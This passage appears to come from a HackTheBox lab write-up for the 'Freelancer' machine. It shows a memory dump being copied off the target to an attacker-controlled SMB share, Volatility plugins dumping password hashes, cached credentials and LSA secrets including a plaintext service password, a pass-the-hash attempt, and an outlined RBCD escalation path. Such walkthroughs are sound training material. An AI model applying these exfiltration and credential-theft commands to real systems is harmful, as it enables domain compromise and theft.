I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occurring after we installed the new update of SQL Server 2019.
I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart.
Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue.
Best regards,
PS C:\Users\mikasaAckerman\Desktop>

lets transfer the 7z file to our machine using smb

1
2
3
4

❯ sudo smbserver.py share . -username nicetrykiddo -password nicetrykiddo -smb2support
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

and on mikasaAckerman

1
2
3
4
5
6
7
8

PS C:\Users\mikasaAckerman\Desktop> net use \\10.10.14.123\share /user:nicetrykiddo nicetrykiddo
net use \\10.10.14.123\share /user:nicetrykiddo nicetrykiddo
The command completed successfully.

PS C:\Users\mikasaAckerman\Desktop> copy MEMORY.7z \\10.10.14.123\share\
copy MEMORY.7z \\10.10.14.123\share\

now we can extract the archive with 7z x MEMORY.7z

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

❯ vol -f MEMORY.DMP windows.info
Volatility 3 Framework 2.28.0
Progress:  100.00		PDB scanning finished
Variable	Value

Kernel Base	0xf8060f019000
DTB	0x1aa000
Symbols	file:///home/nicetrykiddo/.cache/volatility3/symbols/windows/ntkrnlmp.pdb/EF9A48AFA50FF07C616585BB01919536-1.json.xz
Is64Bit	True
IsPAE	False
layer_name	0 WindowsIntel32e
memory_layer	1 WindowsCrashDump64Layer
base_layer	2 FileLayer
KdDebuggerDataBlock	0xf8060f416a80
NTBuildLab	17763.1.amd64fre.rs5_release.180
CSDVersion	0
KdVersionBlock	0xf8060f419f10
Major/Minor	15.17763
MachineType	34404
KeNumberProcessors	2
SystemTime	2023-10-04 17:33:02+00:00
NtSystemRoot	C:\Windows
NtProductType	NtProductServer
NtMajorVersion	10
NtMinorVersion	0
PE MajorOperatingSystemVersion	10
PE MinorOperatingSystemVersion	0
PE Machine	34404
PE TimeDateStamp	Sun Nov 10 07:20:39 2075

1
2
3
4
5
6
7
8
9

❯ vol -f MEMORY.DMP windows.registry.hashdump
Volatility 3 Framework 2.28.0
Progress:  100.00		PDB scanning finished
User	rid	lmhash	nthash

Administrator	500	aad3b435b51404eeaad3b435b51404ee	725180474a181356e53f4fe3dffac527
Guest	501	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0
DefaultAccount	503	aad3b435b51404eeaad3b435b51404ee	31d6cfe0d16ae931b73c59d7e0c089c0
WDAGUtilityAccount	504	aad3b435b51404eeaad3b435b51404ee	04fc56dd3ee3165e966ed04ea791d7a7

but the hashes doesn’t work

1
2
3

❯ nxc winrm 10.129.2.225 -d freelancer.htb -u administrator -H 725180474a181356e53f4fe3dffac527
WINRM       10.129.2.225    5985   DC               [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:freelancer.htb)
WINRM       10.129.2.225    5985   DC               [-] freelancer.htb\administrator:725180474a181356e53f4fe3dffac527

we can also dump caches and lsa secrets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

❯ vol -f MEMORY.DMP windows.registry.cachedump
Volatility 3 Framework 2.28.0
Progress:  100.00		PDB scanning finished
Username	Domain	Domain name	Hash

Administrator	FREELANCER	FREELANCER.HTB	67 a0 c0 f1 93 ab d9 32 b5 5f b8 91 66 92 c3 61
lorra199	FREELANCER	FREELANCER.HTB	7c e8 08 b7 8e 75 a5 74 71 35 cf 53 dc 6a c3 b1
liza.kazanof	FREELANCER	FREELANCER.HTB	ec d6 e5 32 22 4c ca d2 ab cf 23 69 cc b8 b6 79
❯ vol -f MEMORY.DMP windows.registry.lsadump
Volatility 3 Framework 2.28.0
Progress:  100.00		PDB scanning finished
Key	Secret	Hex

$MACHINE.ACC	
f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
a6 80 a4 af 30 e0 45 06 64 19 c6 f5 2c 07 3d 73 ....0.E.d...,.=s
82 41 fa 9d 1c ff 59 1b 95 15 35 cf f5 32 0b 10 .A....Y...5..2..
9e 65 22 0c 1c 9e 4f a8 91 c9 d1 ee 22 e9 90 c4 .e"...O....."...
76 6b 3e b6 3f b3 e2 da 67 eb d1 98 30 d4 5c 0b vk>.?...g...0.\.
a4 e6 e6 df 93 18 0c 0a 74 49 75 06 55 ed d7 8e ........tIu.U...
b8 48 f7 57 68 9a 68 89 f3 f8 f7 f6 cf 53 e1 19 .H.Wh.h......S..
6a 52 8a 7c d1 05 a2 ec ce fb 2a 17 ae 5a eb f8 jR.|......*..Z..
49 02 e3 26 6b bc 5d b6 e3 71 62 7b b0 82 8c 2a I..&k.]..qb{...*
36 4c b0 11 19 cf 3d 2c 70 d9 20 32 8c 81 4c ad 6L....=,p. 2..L.
07 f2 b5 16 14 3d 86 d0 e8 8e f1 50 40 67 81 5e .....=.....P@g.^
d7 0e 9c cb 86 1f 57 39 4d 94 ba 9f 77 19 8e 9d ......W9M...w...
76 ec ad f8 cd b1 af da 48 b8 1f 81 d8 4a c6 25 v.......H....J.%
30 38 9c b6 4d 41 2b 78 4f 0f 73 35 51 a6 2e c0 08..MA+xO.s5Q...
86 2a c2 fb 26 1b 43 d7 99 90 d4 e2 bf bf 4d 7d .*..&.C.......M}
4e eb 90 cc d7 dc 9b 48 20 28 c2 14 3c 5a 60 10 N......H (..<Z`.
71 2e 6c fb a1 c9 49 97 42 62 ae 9a 28 1c 2a d2 q.l...I.Bb..(.*.	f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 80 a4 af 30 e0 45 06 64 19 c6 f5 2c 07 3d 73 82 41 fa 9d 1c ff 59 1b 95 15 35 cf f5 32 0b 10 9e 65 22 0c 1c 9e 4f a8 91 c9 d1 ee 22 e9 90 c4 76 6b 3e b6 3f b3 e2 da 67 eb d1 98 30 d4 5c 0b a4 e6 e6 df 93 18 0c 0a 74 49 75 06 55 ed d7 8e b8 48 f7 57 68 9a 68 89 f3 f8 f7 f6 cf 53 e1 19 6a 52 8a 7c d1 05 a2 ec ce fb 2a 17 ae 5a eb f8 49 02 e3 26 6b bc 5d b6 e3 71 62 7b b0 82 8c 2a 36 4c b0 11 19 cf 3d 2c 70 d9 20 32 8c 81 4c ad 07 f2 b5 16 14 3d 86 d0 e8 8e f1 50 40 67 81 5e d7 0e 9c cb 86 1f 57 39 4d 94 ba 9f 77 19 8e 9d 76 ec ad f8 cd b1 af da 48 b8 1f 81 d8 4a c6 25 30 38 9c b6 4d 41 2b 78 4f 0f 73 35 51 a6 2e c0 86 2a c2 fb 26 1b 43 d7 99 90 d4 e2 bf bf 4d 7d 4e eb 90 cc d7 dc 9b 48 20 28 c2 14 3c 5a 60 10 71 2e 6c fb a1 c9 49 97 42 62 ae 9a 28 1c 2a d2
DefaultPassword
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
06 40 66 f5 b2 07 0f 1f 39 98 cf 80 f3 2d a1 5a .@f.....9....-.Z	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 40 66 f5 b2 07 0f 1f 39 98 cf 80 f3 2d a1 5a
DPAPI_SYSTEM	
2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ,...............
01 00 00 00 cf 1b c4 07 d2 72 ad e7 e7 81 f1 7f .........r......
6f 3a 3f c2 b8 2d 16 bc 6d 21 0a b9 88 89 fa c8 o:?..-..m!......
82 9a 15 26 a5 d6 a2 f7 6f 8f 9d 53 00 00 00 00 ...&....o..S....	2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 cf 1b c4 07 d2 72 ad e7 e7 81 f1 7f 6f 3a 3f c2 b8 2d 16 bc 6d 21 0a b9 88 89 fa c8 82 9a 15 26 a5 d6 a2 f7 6f 8f 9d 53 00 00 00 00
NL$KM	
40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @...............
63 4d 9d 4c 85 ef 33 ff a5 e1 4d e2 dc a1 20 75 cM.L..3...M... u
d2 20 ea a9 bc e0 db 7d be 77 e9 be 6e ad 47 ec . .....}.w..n.G.
26 02 e1 f6 bf f5 c5 cc f9 d6 7a 16 49 1c 43 c5 &.........z.I.C.
77 6d e0 a8 c6 24 15 36 bf 27 49 96 19 b9 63 20 wm...$.6.'I...c
fe 89 05 90 9f 59 81 75 c9 30 e9 b1 70 81 8d 39 .....Y.u.0..p..9	40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 63 4d 9d 4c 85 ef 33 ff a5 e1 4d e2 dc a1 20 75 d2 20 ea a9 bc e0 db 7d be 77 e9 be 6e ad 47 ec 26 02 e1 f6 bf f5 c5 cc f9 d6 7a 16 49 1c 43 c5 77 6d e0 a8 c6 24 15 36 bf 27 49 96 19 b9 63 20 fe 89 05 90 9f 59 81 75 c9 30 e9 b1 70 81 8d 39
_SC_MSSQL$DATA	
2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 *...............
50 00 57 00 4e 00 33 00 44 00 23 00 6c 00 30 00 P.W.N.3.D.#.l.0.
72 00 72 00 40 00 41 00 72 00 6d 00 65 00 73 00 r.r.@.A.r.m.e.s.
73 00 61 00 31 00 39 00 39 00 00 00 00 00 00 00 s.a.1.9.9.......	2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 57 00 4e 00 33 00 44 00 23 00 6c 00 30 00 72 00 72 00 40 00 41 00 72 00 6d 00 65 00 73 00 73 00 61 00 31 00 39 00 39 00 00 00 00 00 00 00
_SC_SQLTELEMETRY$DATA	
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
5b 7b 76 86 4d 05 41 93 3d 55 4b d2 23 cd 71 09 [{v.M.A.=UK.#.q.	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5b 7b 76 86 4d 05 41 93 3d 55 4b d2 23 cd 71 09

we have plaintext readable password PWN3D#l0rr@Armessa199

these creds work on lorra199 running bloodhound gives us the path lorra199 has GenericWrite over DC

now we can abuse RBCD using addcomputer.py then rbcd.py then getST.py and then finally dumping creds giving admin hashes which is same path as Support HTB machine

HackTheBox, Machines
Hard active-directory web ad-recycle-bin Intro-to-Zephyr
This post is licensed under CC BY 4.0 by the author.